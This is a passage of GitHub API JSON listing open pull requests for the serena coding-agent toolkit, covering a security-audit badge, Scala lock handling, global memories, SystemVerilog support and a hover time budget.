          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1036"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/1036"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1036"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1036/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1036/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1036/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/52cc9729d27ffdfba2c6a5543df52b367c250b0c"
        }
      },
      "author_association": "CONTRIBUTOR",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/1033",
      "id": 3279831886,
      "node_id": "PR_kwDOONgOes7DfkNO",
      "number": 1033,
      "state": "open",
      "locked": false,
      "title": "Add AgentAudit security badge (Safe)",
      "user": {
        "login": "starbuck100",
        "id": 25417736,
        "node_id": "MDQ6VXNlcjI1NDE3NzM2",
        "avatar_url": "https://avatars.githubusercontent.com/u/25417736?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/starbuck100",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "## AgentAudit Security Review\n\n**Result: ✅ Safe** (Risk Score: 0/100)\n\nThis PR adds an [AgentAudit](https://agentaudit.dev) security badge to the README.\n\n### Audit Summary\n\nSerena was audited as an **AI Skill/Agent** package. The 3-pass security review covered:\n\n- **Shell command execution** via `ExecuteShellCommandTool` — core functionality, properly documented with security warnings\n- **File operations** — path traversal protection via `validate_relative_path()` using `os.path.normpath` + `commonpath` checks\n- **MCP server** — standard stdio/SSE transport, no hidden tools or prompt injection in tool descriptions\n- **Dashboard** — defaults to `127.0.0.1` (localhost-only), no sensitive data exposure\n- **No telemetry, no exfiltration, no obfuscation, no persistence mechanisms**\n\nThe security documentation at `docs/02-usage/070_security.md` appropriately discloses risks and recommends sandboxing, read-only mode, and tool restrictions.\n\nFull report: https://agentaudit.dev/skills/serena\n\n---\n*Automated security audit by [AgentAudit](https://agentaudit.dev)*",
      "created_at": "2026-02-13T08:19:21Z",
      "updated_at": "2026-02-13T10:13:31Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "1a02b75293aa23e33cc3736753b4194436cb94d7",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "starbuck100:agentaudit/add-security-badge",
        "ref": "agentaudit/add-security-badge",
        "sha": "8b41ea778e182997ce4d080117d53c07aa802cf1",
        "user": {
          "login": "starbuck100",
          "id": 25417736,
          "node_id": "MDQ6VXNlcjI1NDE3NzM2",
          "avatar_url": "https://avatars.githubusercontent.com/u/25417736?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/starbuck100",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1156934038,
          "node_id": "R_kgDORPVplg",
          "name": "serena",
          "full_name": "starbuck100/serena",
          "private": false,
          "owner": {
            "login": "starbuck100",
            "id": 25417736,
            "node_id": "MDQ6VXNlcjI1NDE3NzM2",
            "avatar_url": "https://avatars.githubusercontent.com/u/25417736?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/starbuck100",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/starbuck100/serena",
          "created_at": "2026-02-13T08:19:01Z",
          "updated_at": "2026-02-13T08:19:01Z",
          "pushed_at": "2026-02-13T08:19:07Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6160,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1064afceedbbd9972e0b522a54313afce116b57f",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1033"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/1033"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1033"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1033/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1033/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1033/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/8b41ea778e182997ce4d080117d53c07aa802cf1"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/1012",
      "id": 3265367955,
      "node_id": "PR_kwDOONgOes7CoY-T",
      "number": 1012,
      "state": "open",
      "locked": false,
      "title": "feat(scala): Add stale lock detection for Metals H2 database",
      "user": {
        "login": "tkolleh",
        "id": 3095197,
        "node_id": "MDQ6VXNlcjMwOTUxOTc=",
        "avatar_url": "https://avatars.githubusercontent.com/u/3095197?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/tkolleh",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "This PR adds stale lock detection and handling for Scala Metals LSP, improving reliability when running alongside other Metals instances (e.g., VS Code).\r\n\r\n### Problem\r\n\r\nWhen a Metals process crashes without proper cleanup, it leaves a stale lock file (`.metals/metals.mv.db.lock.db`) that can prevent proper H2 AUTO_SERVER coordination, causing new instances to fall back to in-memory database mode (degraded experience).\r\n\r\n### Solution\r\n\r\n- Detect stale locks by checking if the lock-holding process is alive and is actually Metals\r\n- Provide configurable handling modes: `auto-clean` (default), `warn`, or `fail`\r\n- Log informational messages when another active Metals instance is detected\r\n\r\n## Configuration\r\n\r\n```yaml\r\nls_specific_settings:\r\n  scala:\r\n    on_stale_lock: \"auto-clean\"      # auto-clean | warn | fail\r\n    log_multi_instance_notice: true  # Log info when another Metals detected\r\n```\r\n\r\n## Related\r\n- https://github.com/oraios/serena/pull/1012\r\n- Metals H2 AUTO_SERVER: https://scalameta.org/metals/docs/integrations/new-editor\r\n- H2 AUTO_SERVER Mode: http://www.h2database.com/html/features.html#auto_mixed_mode",
      "created_at": "2026-02-10T03:34:18Z",
      "updated_at": "2026-02-10T03:57:25Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "a19dbecd7bf50a6abd96c14a8993691b65b73b56",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "tkolleh:feature/scala-metals-stale-lock-detection",
        "ref": "feature/scala-metals-stale-lock-detection",
        "sha": "bcee6cb45a9d089e5b8fe1de96448635ba8cf54e",
        "user": {
          "login": "tkolleh",
          "id": 3095197,
          "node_id": "MDQ6VXNlcjMwOTUxOTc=",
          "avatar_url": "https://avatars.githubusercontent.com/u/3095197?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/tkolleh",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1154117631,
          "node_id": "R_kgDORMpv_w",
          "name": "serena",
          "full_name": "tkolleh/serena",
          "private": false,
          "owner": {
            "login": "tkolleh",
            "id": 3095197,
            "node_id": "MDQ6VXNlcjMwOTUxOTc=",
            "avatar_url": "https://avatars.githubusercontent.com/u/3095197?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/tkolleh",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/tkolleh/serena",
          "created_at": "2026-02-10T03:05:09Z",
          "updated_at": "2026-02-10T03:05:09Z",
          "pushed_at": "2026-02-10T03:57:24Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6033,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "d7125fabe11056ec046d4db3543a492dc3bb8a7f",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1012"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/1012"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1012"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1012/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1012/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1012/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/bcee6cb45a9d089e5b8fe1de96448635ba8cf54e"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/1007",
      "id": 3261841530,
      "node_id": "PR_kwDOONgOes7Ca8B6",
      "number": 1007,
      "state": "open",
      "locked": false,
      "title": "Add global (cross-project) memories support",
      "user": {
        "login": "butterflysky-ai",
        "id": 249836827,
        "node_id": "U_kgDODuQ1Gw",
        "avatar_url": "https://avatars.githubusercontent.com/u/249836827?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/butterflysky-ai",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "## Summary\n\nCloses #1006\n\n- Add global memories stored in `~/.serena/memories/`, shared across all projects\n- Extend all 5 memory tools with optional `scope` parameter (`\"project\"` | `\"global\"`, default `\"project\"`)\n- `list_memories` also supports `scope=\"all\"` → `{\"project\": [...], \"global\": [...]}`\n- Global memories work without an active project (tools marked with `ToolMarkerDoesNotRequireActiveProject`)\n- Add `edit_memory()` method to `MemoriesManager`, decoupling from `ReplaceContentTool`/`CodeEditor`\n- Make `save_memory()` use atomic writes (`write-to-tmp` + `os.replace()`)\n- Include global memories in system prompt and dashboard config overview\n- **Dashboard**: Show both project and global memories in separate sub-sections with scope labels, scope badges in edit/delete modals, and per-scope \"Add Memory\" buttons. All dashboard CRUD operations pass the `scope` parameter to the API.\n- Fully backward-compatible: all defaults remain `scope=\"project\"`\n\n## Test plan\n\n- [ ] Verify `list_memories()` returns project memories only (backward compatible)\n- [ ] Verify `list_memories(scope=\"all\")` returns `{\"project\": [...], \"global\": [...]}`\n- [ ] Verify `write_memory(\"test\", \"hello\", scope=\"global\")` creates file in `~/.serena/memories/`\n- [ ] Verify `read_memory(\"test\", scope=\"global\")` reads from global store\n- [ ] Verify `edit_memory(\"test\", \"hello\", \"world\", mode=\"literal\", scope=\"global\")` works\n- [ ] Verify `delete_memory(\"test\", scope=\"global\")` removes global memory\n- [ ] Verify global memory operations work without an active project\n- [ ] Verify default `scope=\"project\"` preserves existing behavior\n- [ ] Verify system prompt lists global memories when they exist\n- [ ] Verify dashboard shows both project and global memory sections\n- [ ] Verify dashboard edit/delete/create operations pass correct scope\n- [ ] Run existing test suite — no regressions (all pre-existing test results identical)\n\n🤖 Generated with [Claude Code](https://claude.com/claude-code)",
      "created_at": "2026-02-09T08:52:27Z",
      "updated_at": "2026-02-10T11:07:52Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "8c26b6854086289becd3b80172b2066b9f701d6b",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "butterflyskies:feature/global-memories",
        "ref": "feature/global-memories",
        "sha": "1ba11663ed5323184d5036ef13fad79889e96160",
        "user": {
          "login": "butterflyskies",
          "id": 249837564,
          "node_id": "O_kgDODuQ3_A",
          "avatar_url": "https://avatars.githubusercontent.com/u/249837564?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/butterflyskies",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1153172258,
          "node_id": "R_kgDORLwDIg",
          "name": "serena",
          "full_name": "butterflyskies/serena",
          "private": false,
          "owner": {
            "login": "butterflyskies",
            "id": 249837564,
            "node_id": "O_kgDODuQ3_A",
            "avatar_url": "https://avatars.githubusercontent.com/u/249837564?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/butterflyskies",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/butterflyskies/serena",
          "created_at": "2026-02-09T01:42:46Z",
          "updated_at": "2026-02-09T01:42:46Z",
          "pushed_at": "2026-02-09T09:23:59Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6026,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": true,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "3b707283f0cd51a042febab58789336a00fb6b58",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1007"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/1007"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1007"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1007/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1007/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1007/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/1ba11663ed5323184d5036ef13fad79889e96160"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": [
        1,
        1006
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/990",
      "id": 3246545894,
      "node_id": "PR_kwDOONgOes7Bglvm",
      "number": 990,
      "state": "open",
      "locked": false,
      "title": "Add SystemVerilog language server support using slang-langserver",
      "user": {
        "login": "babyworm",
        "id": 7908211,
        "node_id": "MDQ6VXNlcjc5MDgyMTE=",
        "avatar_url": "https://avatars.githubusercontent.com/u/7908211?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/babyworm",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "- Add Language.SYSTEMVERILOG enum with .sv, .svh, .v, .vh file support\r\n- Create SystemVerilogLanguageServer class with auto-download for Linux, macOS, Windows\r\n- Add pytest marker and basic test cases for symbol retrieval",
      "created_at": "2026-02-04T16:30:31Z",
      "updated_at": "2026-02-14T07:39:41Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "e5ff7e2cc7af3f0413d49e86d9209d72728ecb64",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "babyworm:main",
        "ref": "main",
        "sha": "51fea7b36570b0915d48f3313a2bde75d2d7a5f6",
        "user": {
          "login": "babyworm",
          "id": 7908211,
          "node_id": "MDQ6VXNlcjc5MDgyMTE=",
          "avatar_url": "https://avatars.githubusercontent.com/u/7908211?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/babyworm",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1149800108,
          "node_id": "R_kgDORIiOrA",
          "name": "serena",
          "full_name": "babyworm/serena",
          "private": false,
          "owner": {
            "login": "babyworm",
            "id": 7908211,
            "node_id": "MDQ6VXNlcjc5MDgyMTE=",
            "avatar_url": "https://avatars.githubusercontent.com/u/7908211?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/babyworm",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/babyworm/serena",
          "created_at": "2026-02-04T14:37:26Z",
          "updated_at": "2026-02-14T07:39:44Z",
          "pushed_at": "2026-02-14T07:39:40Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 5603,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "8d38a3296774770e13f0f2d920881736c6f69342",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/990"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/990"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/990"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/990/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/990/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/990/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/51fea7b36570b0915d48f3313a2bde75d2d7a5f6"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/956",
      "id": 3187124379,
      "node_id": "PR_kwDOONgOes6996ib",
      "number": 956,
      "state": "open",
      "locked": false,
      "title": "Hover budget",
      "user": {
        "login": "n-r-w",
        "id": 38435980,
        "node_id": "MDQ6VXNlcjM4NDM1OTgw",
        "avatar_url": "https://avatars.githubusercontent.com/u/38435980?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/n-r-w",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "- Introduced `include_info_hover_budget_seconds` to ProjectConfig and SerenaConfig for per-project and global hover request time limits.\r\n- Updated YAML templates to include hover budget settings with appropriate documentation.\r\n- Enhanced LanguageServerSymbolRetriever to respect hover budget during symbol info requests, allowing for partial results if the budget is exceeded.\r\n- Added unit tests to validate hover budget behavior and ensure correct handling of various budget scenarios. \r\n- Enhance symbol retrieval by adding batch request method and optimize hover info fetching + DEBUG",
      "created_at": "2026-01-19T10:02:39Z",
      "updated_at": "2026-02-14T16:30:15Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {
        "0": {
          "login": "opcode81",
